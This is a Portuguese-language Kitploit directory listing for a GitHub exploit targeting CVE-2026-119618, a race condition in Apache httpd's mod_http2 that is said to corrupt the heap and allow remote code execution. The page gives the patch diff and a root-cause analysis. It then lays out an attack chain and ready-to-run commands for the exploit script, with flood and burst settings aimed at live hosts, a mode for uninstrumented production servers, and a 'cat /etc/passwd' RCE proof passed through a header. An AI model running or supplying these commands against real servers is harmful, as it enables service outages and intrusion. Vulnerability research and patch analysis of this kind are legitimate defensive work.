Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-119618 — Exploit HTTP/2 em Python para CVE-2026-119618, uma condição de corrida no cabeçalho de requisição do mod_http2 que causa corrupção de heap e RCE no Apache httpd 2.4.55–2.4.70, com ambiente de teste Docker. | Kitploit
Ferramentas/GitHubGitHub/studiogangster/cve-2026-119618
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebFuzzingSegurança de RedeCavalo de Troia de Acesso Remoto
GitHub
studiogangster/cve-2026-119618

CVE-2026-119618

Exploit HTTP/2 em Python para CVE-2026-119618, uma condição de corrida no cabeçalho de requisição do mod_http2 que causa corrupção de heap e RCE no Apache httpd 2.4.55–2.4.70, com ambiente de teste Docker.

Ver Repositório
2há 4 diasAinda não revisado
Compartilhar

CVE-2026-119618 — Apache HTTP Server (mod_http2 / mod_h2)

Execução Concorrente Usando um Recurso Compartilhado com Sincronização Imprópria (CWE-362) na tabela de cabeçalhos de requisição HTTP/2 → corrupção de heap → RCE.

CVSS9.8 (Crítico)
Vulnerávelhttpd 2.4.55 – 2.4.70, standalone mod_h2 2.0.8 – 2.0.42
Corrigido emhttpd 2.4.71 (lançado em 2026-11-11)
Patch upstream824beab (2.4.x) / 5ed3928 (trunk) — mod_http2: assign_headers update table (#975) (#977)
DescobridoresAnthropic OSS Scanner (ANT-2026-MAPKT6MZ), Google Cloud VRP (Weems / Scannell)

1. O patch upstream (o que mudou)

Uma linha em modules/http2/h2_request.c, dentro de assign_headers():

--- a/modules/http2/h2_request.c
+++ b/modules/http2/h2_request.c
@@ -350,7 +350,7 @@ static void assign_headers(request_rec *r, const h2_request *req,
                 /* If we have a content-type, but already seen eos, no more
                  * data will come. Signal a zero content length explicitly.
                  */
-                apr_table_setn(req->headers, "Content-Length", "0");
+                apr_table_setn(r->headers_in, "Content-Length", "0");

Diff completo salvo: references/824beab_mod_http2_assign_headers.patch.

O ramo vulnerável só é executado quando todas estas condições se verificam para um único pedido:

  • o método não é CONNECT;
  • o pedido não tem cabeçalho Content-Length;
  • o pedido tem um cabeçalho Content-Type;
  • no_body é verdadeiro — o cliente já enviou END_STREAM sem frame DATA (no_body == conn_ctx->beam_in == NULL, ou seja, o corpo do pedido nunca foi armazenado em buffer porque o stream transportava END_STREAM no momento dos cabeçalhos).

2. Causa raiz (derivada)

req->headers é a tabela de cabeçalhos h2_request. Essa tabela é um recurso partilhado com dois proprietários:

  1. thread c1 (sessão / multiplexador) — preenche-a enquanto analisa os frames HEADERS do cliente: h2_stream_add_header() → h2_request_add_header() → h2_request_add_header escreve em req->headers.
  2. thread c2 (worker) — consome-a: h2_mplx → c2_process() → h2_create_request_rec(req, c, …) → assign_headers(r, req, no_body, …).

No código vulnerável, a última escrita do ciclo de vida do pedido — apr_table_setn(req->headers, "Content-Length", "0") — ocorria numa thread worker c2, numa tabela em que a thread c1 ainda podia estar a escrever (a sessão continua a despachar/descarregar frames para esse stream depois de o worker c2 ter iniciado c2_process). Duas threads a mutar o mesmo apr_table_t (rehash da tabela de hash / realloc de elementos) sem qualquer bloqueio → corrupção do heap.

r->headers_in, por contraste, é criado no topo de assign_headers() como apr_table_clone(r->pool, req->headers) — uma cópia nova por pedido no pool do worker c2, nunca tocada por c1. A correção limita-se a mover a escrita para lá, eliminando a escrita no recurso partilhado e a corrida.

3. Cadeia de ataque

  1. O atacante abre uma conexão HTTP/2 (h2 sobre TLS, ou h2c em texto simples) para o Apache vulnerável (2.4.55–2.4.70 / mod_h2 2.0.8–2.0.42).
  2. Envia um pedido que satisfaz as condições de acionamento acima: Content-Type presente, sem Content-Length, flag END_STREAM definida no frame HEADERS (não se segue corpo).
  3. O worker c2 que processa esse pedido executa o apr_table_setn(req->headers, …) vulnerável enquanto a thread c1 está concorrentemente a tocar no mesmo req->headers.
  4. Mutação concorrente não sincronizada de apr_table → corrupção do heap → RCE (ou DoS se a corrupção for benigna / o ASLR for hostil).
  5. Para forçar de forma fiável a sobreposição, o exploit dispara muitos streams h2 concorrentes na mesma conexão: alguns streams de acionamento (o pedido manipulado) mais uma inundação de pedidos simples que ocupam os restantes workers c2, de modo que o lado c1 está ocupado enquanto o worker c2 executa a escrita vulnerável.

Observável num servidor em produção: um stream recebe RST_STREAM, a conexão recebe um GOAWAY, ou a conexão cai a meio da rajada (um crash). Um servidor 2.4.71 corrigido responde ao mesmo pedido único normalmente — razão pela qual o modo --verify é um teste rápido e o modo rajada é o que força a corrida.

4. O exploit

cve_2026_119618_exploit.py — Python puro, controla a máquina de estados HTTP/2 com o pacote h2 (sem dependências C). Em cada ronda abre uma conexão, negoceia h2 (ALPN) ou h2c, e dispara uma rajada compacta de streams triggers + flood num único sendall() para que todos os frames HEADERS (cada um com END_STREAM) atinjam o servidor em sequência imediata; depois fica à espera de RST / GOAWAY / EOF.

Funciona em qualquer Apache vulnerável com h2 ativado — sem CGI personalizado, sem configuração especial do servidor. O RST/EOF é a assinatura da corrupção; a flag --cmd é opcional (para prova de RCE num ambiente de teste com um endpoint de RCE).

O exploit decodifica os HEADERS da resposta com um decodificador hpack bruto (mantido separado do decodificador interno da biblioteca h2, que armazena frames em buffer até que o stream seja fechado por END_STREAM — um frame que o mod_h2 do Apache frequentemente não envia na resposta CGI à prova de RCE). É assim que a prova de RCE X-Cmd-Out é capturada de forma confiável, mesmo quando a máquina de estados da biblioteca h2 nunca emite ResponseReceived.

pip install h2

# h2 over TLS (most live servers). Cert verification is skipped by default
# (good for self-signed / wildcard certs); pass --cert-verify to verify.
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls \
    --triggers 5 --flood 32 --rounds 500 -v

# cleartext h2c (e.g. a local test build or a server with h2c enabled)
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8080 --h2c \
    --triggers 5 --flood 32 --rounds 1000 -v

# auto-negotiate: try h2c first, fall back to h2-over-TLS
python3 cve_2026_119618_exploit.py -H example.com -p 443 --auto \
    --triggers 5 --flood 32 --rounds 500 -v

# patched/vulnerable smoke test: one quiet trigger, no burst
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls --verify

# RCE proof (for a test rig with an RCE-endpoint CGI): the command is passed
# in the X-Cmd header (keeping the trigger bodyless, as the CVE requires),
# and the output is returned in the X-Cmd-Out response header.
# --extra-headers pads the trigger with dummy headers to force apr_table
# rehashes (widening the c1/c2 race window); --conns fires N parallel
# connections per wave to saturate the c2 worker pool.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 443 --tls \
    --trigger-path /cgi-bin/rce-cgi --cmd 'cat /etc/passwd' \
    --triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 200 -v

# STANDARD mode: the target is a plain Apache with NO rce-cgi / no ScriptAlias
# (a live box you haven't instrumented). Proves RCE via the corruption
# signature (RST/EOF) instead of X-Cmd-Out. The trigger and flood both hit a
# normal path (default "/").
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8443 --tls --standard \
    --triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 500 -v
Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    851
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    538
  • 3

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    297
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    280

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →